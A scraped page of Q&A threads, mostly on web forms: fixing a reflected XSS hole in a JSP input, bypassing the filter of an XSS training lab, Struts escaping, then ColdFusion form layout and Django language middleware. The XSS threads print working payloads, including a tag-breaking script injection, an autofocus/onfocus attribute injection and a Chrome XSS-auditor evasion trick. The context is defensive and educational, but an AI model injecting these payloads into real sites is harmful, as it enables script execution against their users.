The following piece of code in my JSP caused a cross site scripting vulnerability on the input tag.
<form name="acctFrm" method="post" action="<%=contextPath%>/form/acctSummary?rpt_nm=FIMM_ACCT_SUMM_RPT">
<table>
<tr>
<td>Account Id:</td>
<td>
<input class="tbl1" type="text" id="acctId" name="acctId" size="20" maxlength="10" value="<%=rptBean.getAcctId()%>"/>
<img class="tbl1" src="<%=contextPath%>/img/Submit.gif" border="0" />
</td>
</tr>
</table>
</form>
During Penetration testing they were able to alert some random message to the user by injecting a alert script in the value attribute of the tag as follows
<input class="tbl1" type="text" id="acctId" name="acctId" size="20" maxlength="10" value="1"><script>alert(12345)</script>" />
What is the problem here, and what would be the fix.
I was reading through some online references on XSS still I wasnt 100% sure on what could be the issue.
Any help would be greatly appreciated.
Thanks,
Deena
I have used the following solution,
The scriplet in the value attribute is the problem, I replaced it with jstl tag, I read somewhere that jstl tags have inbuild escaping mechanism to avoid xss issues.
<input class="tbl1" type="text" id="acctId" name="acctId" size="20" maxlength="10" value="<c:out value=${rptBean.acctId}"/>"/>
This works good for my issue.
Thanks
It seems the penetration testers were able to manipulate their session such that rptBean.getAcctId() would return an arbitrary string. If they could inject quotes and a right bracket, they could "force close" the input tag and insert their own script tag.
It looks like penetration testers got the method to return the string 1"><script>alert(12345)</script>.
This indicates that you need to escape the data when writing to the page. I would suggest taking a look at the answer on escaping HTML in jsp.
Also, remember that code does not have to be "perfectly" formatted for a browser to render it "correctly". Here are some links on how attackers may try evade XSS filters:
http://blog.whitehatsec.com/tag/filter-evasion/
http://ha.ckers.org/xss.html
Always treat user data as "dangerous" and take care when rendering it on a page.
It seems using jstl tag <c:out value=""> in value attribute will cause errors in jstl <form options> tags,
more info
XSS prevention in JSP/Servlet web application
if getAcctId() returned data come from DB you can filter before sending to client. for example check is data should be a number.
Related
How can I bypass the XSS filter and pop an alert on this page:
http://leettime.net/xsslab1/stage--08.php
The script seem to filter single-quote (') on the server-side making it impossible for me to inject into the value field.
<input type="text" name="name" value=''></input>
This page is part of a XSS test series, so I am sure that it is possible to pop an alert somehow but I just don't know how.
Enter a name and click submit. The form is submitted through a GET request so you can see the two parameters in the URL. Both are reflected in the HTML response.
name=spongebob&submit=
<font size=3>Enter Your Name here : <input type="text" name="name" value='spongebob'></input>
<input type="submit" name="submit" value="">
Instead of the name parameter focus on submit. It is enclosed in double quotes which aren't filtered. Because the character > is removed it is not possible to close the tag so injection must occur inside it the tag. > is stripped away:
name=spongebob&submit=%22%3E%3Cscript%3Ealert(document.URL)%3C/script%3E
<input type="submit" name="submit" value=""<scriptalert(document.URL)</script">
It's possible to run javascript automatically by combining onfocus and autofocus.
name=spongebob&submit=%22%20autofocus%20onfocus=%22alert(document.URL)
<input type="submit" name="submit" value="" autofocus onfocus="(document.URL)">
This is a working XSS that will run automatically in Firefox but not in Chrome because Chrome's XSS auditor will detect it is a reflected XSS.
Chrome XSS auditor reports that 'Token contains a reflecte XSS vector'
So let's use server side filtering of '>' to our advantage so Chrome can't detect that the submit parameter is reflected to the HTML.
name=spongebob&submit="%20auto>focus%20onf>ocus="alert(doc>ument.URL)
Chrome XSS auditor bypassed using because of server side filtering
I was mistaken. There is additional form field that can be injected to complete the task.
I'm working on an application with Struts 1 and JSP. I have to write XSS protection. I have inputs like this one :
<input id="name" name="name" class="someClass" type="text"
value="<bean:write name="personForm" property="name"/>">
I read that for protection XSS attack i have to add attribute filter in bean:write and filter should be true. So my code looks like that now
<input id="name" name="name" class="someClass" type="text"
value="<bean:write name="personForm" property="name" filter="true"/>">
But still I'm able to submit scripts. Do you know why this might happen.
bean:write is only for rendering purposes.The value passed to the server side is not get filtered.
When working with Coldfusion 9 and cfform with a HTML format, I place a cfinput on a page with a label, it displays the label to the right of the text box. I have tried using the tag, with and without it but no matter what I do, the label is always to the right of the box.
<cfform method="post" name="mfForm" >
<label for="campaign">Mailfile ID:</label>
<cfinput type="text" name="campaign" id="campaign">
<cfinput type="submit" name="submit" value="Submit" id="submit">
</cfform>
Don't ever remember having this problem before recently. I would just use an HTML form, but want to take advantage of cf's autosuggest.
I hate to say it, but frankly quirks like this are why many people suggest ditching the built-in ajax features and using the underlying libraries (or some jQuery alternative) directly. You will have greater control, more choices, not to mention you will not be tied to whatever version ships with ColdFusion. Most of these libraries are updated frequently, so within a year the ones bundled with CF are often out of date. ExtJS is a good example. The public version is already up to version 4.2.1, but CF9 still uses 3.1.0.
Anyway, getting back to your question ... if you do a view source you will see CF generates several div tags, one of which contains the style="float:left" directive, which could explain the behavior you are seeing.
I did a quick search and happened upon a note in the the CF8 docs which suggest a hack for datefields which may also apply here:
To correctly display label text next to the control in both Internet Explorer and Firefox, you must surround the label text in a
<div style="float:left;"> tag and put three <br> tags between each
line.
Simply adding the div seems to work for me with the sample you posted:
<cfform method="post" name="mfForm" >
<div style="float:left;">
<label for="campaign">Mailfile ID:</label>
</div>
<cfinput type="text" name="campaign" id="campaign" autosuggest="AA,BBB,CCC,DDD">
<cfinput type="submit" name="submit" value="Submit" id="submit">
</cfform>
But again, you might want to consider using the javascript libraries directly instead of relying on the built-in ajax features, so you can avoid weirdness like this.
I am trying to make a table with editing capabilities, and I have run into problems trying to associate the old values with the updated ones. My solution was to include a hidden CFInput that passes the old value along side the one to be updated, and then the query is run within a cfc.
<cfform name="update" method="post">
<cfoutput query="allusers">
<tr>
<td>#username#</td>
<td>#email#</td>
<td>#securityID#</td>
<td>DELETE</td>
</tr>
<td><cfinput name="oldUsername" value="#username#" type="hidden"></cfinput><cfinput name="updateUsername" value="New Value"></cfinput></td>
<td><cfinput name="oldEmail" value="#email#" type="hidden"></cfinput><cfinput name="updateEmail" value="New Value"></cfinput></td>
<td><cfinput name="oldSecurityID" value="#securityID#" type="hidden"></cfinput><cfinput name="updateSecurityID" value="New Value"></cfinput></td>
<td><cfinput name="submit" type="submit"></cfinput>
<tr>
<cfdump var="oldUsername">
</cfoutput>
Currently I am not getting any errors, but it does not seem to be passing in the old values. Any tips?
Make sure your CFDUMP is using the hash tags:
<cfdump var="#oldUserName#">
otherwise it won't dump the contents of the variable.
Second of all, you are asking ColdFusion to evaluate "oldusername" when it hasn't had a chance to set oldusername for you yet. Using a CFINPUT tag, simply rewrites this in the HTML to a regular tag with JavaScript and/or Flash enhancements. So form.oldusername will only be available AFTER the post is executed to the next CF template/url. I also recommend highly that you scope (form., variables. etc...) your variables so things don't get crossed (unless you are carefully aware of the variable scope searching order)
Others have provide your answer. My answer is just advice about your form.
Your hidden cfinputs shouldn't be in a table. Tables are for displayed items. You'd be much better served to move your hidden cfinputs right under your cfform tag, like this:
<cfform name="update" method="post">
// NON DISPLAY STUFF
<cfinput name="oldUsername" value="#username#" type="hidden">
<cfinput name="oldEmail" value="#email#" type="hidden">
<cfinput name="oldSecurityID" value="#securityID#" type="hidden">
// DISPLAY STUFF
<table>
</table>
</cfform>
I know this is going to sound silly but I can't find what's wrong.
I am using the built in views for user auth and logging in and loggin out respectively switches the language to the non default language for the current session.
I have two languages, setup according to documentation on Djangoproject site i.e. in locale folder and there are .mo files and everything. Fine.
I have a form based language switch that enables language switch for any user that posts to /i18n/setlang
So, my question is, how come it seems to "POST" to switch language when I do a logout or a login (which I guess are both POST's as well).
Thanks for shedding any light possible on this.
EDIT: I should add that it never switches back. It only switches languages in one direction i.e. to the language that is not default.
EDIT2: Not that I think it will attract any more answers but here's the code for my language switcher (it switches on the fly via jQuery. The problems is STILL that it goes to Deutch language and stays there whenever I logout (logout is handled by the logout view in Django).
<ul>
<li>
<form name="setLangen" action="/i18n/setlang/" method="POST"><div style='display:none'><input type='hidden' name='csrfmiddlewaretoken' value='871Y71JyfG9WcieiKr8jjwe4j37IkIfq' /></div>
<input name="next" type="hidden" value="/" />
<input type="hidden" name="language" value="en" />
English
</form>
</li>
<li>
<form name="setLangde" action="/i18n/setlang/" method="POST"><div style='display:none'><input type='hidden' name='csrfmiddlewaretoken' value='871Y71JyfG9WcieiKr8jjwe4j37IkIfq' /></div>
<input name="next" type="hidden" value="/" />
<input type="hidden" name="language" value="de" />
Deutch
</form>
</li>
</ul>
I would guess that you keep language setting in the session, and when user logs out, session is gone and you're back to default lang.
OK. So here's the answer. I thought I'd write it down since someone else CAN end up in this situation.
The problem was that I had switched the order between django locale middleware and the middleware own my own that takes away the brwoser selected language. Need to keep your own interception before Django takes it over and sets the language to whatever the browser tells it to (which is a really weird default behavior in any case).
Hope it helps someone.
'myapp.middleware.ForceDefaultLanguageMiddleware', # <-- BEFORE django locale!!
'django.middleware.locale.LocaleMiddleware',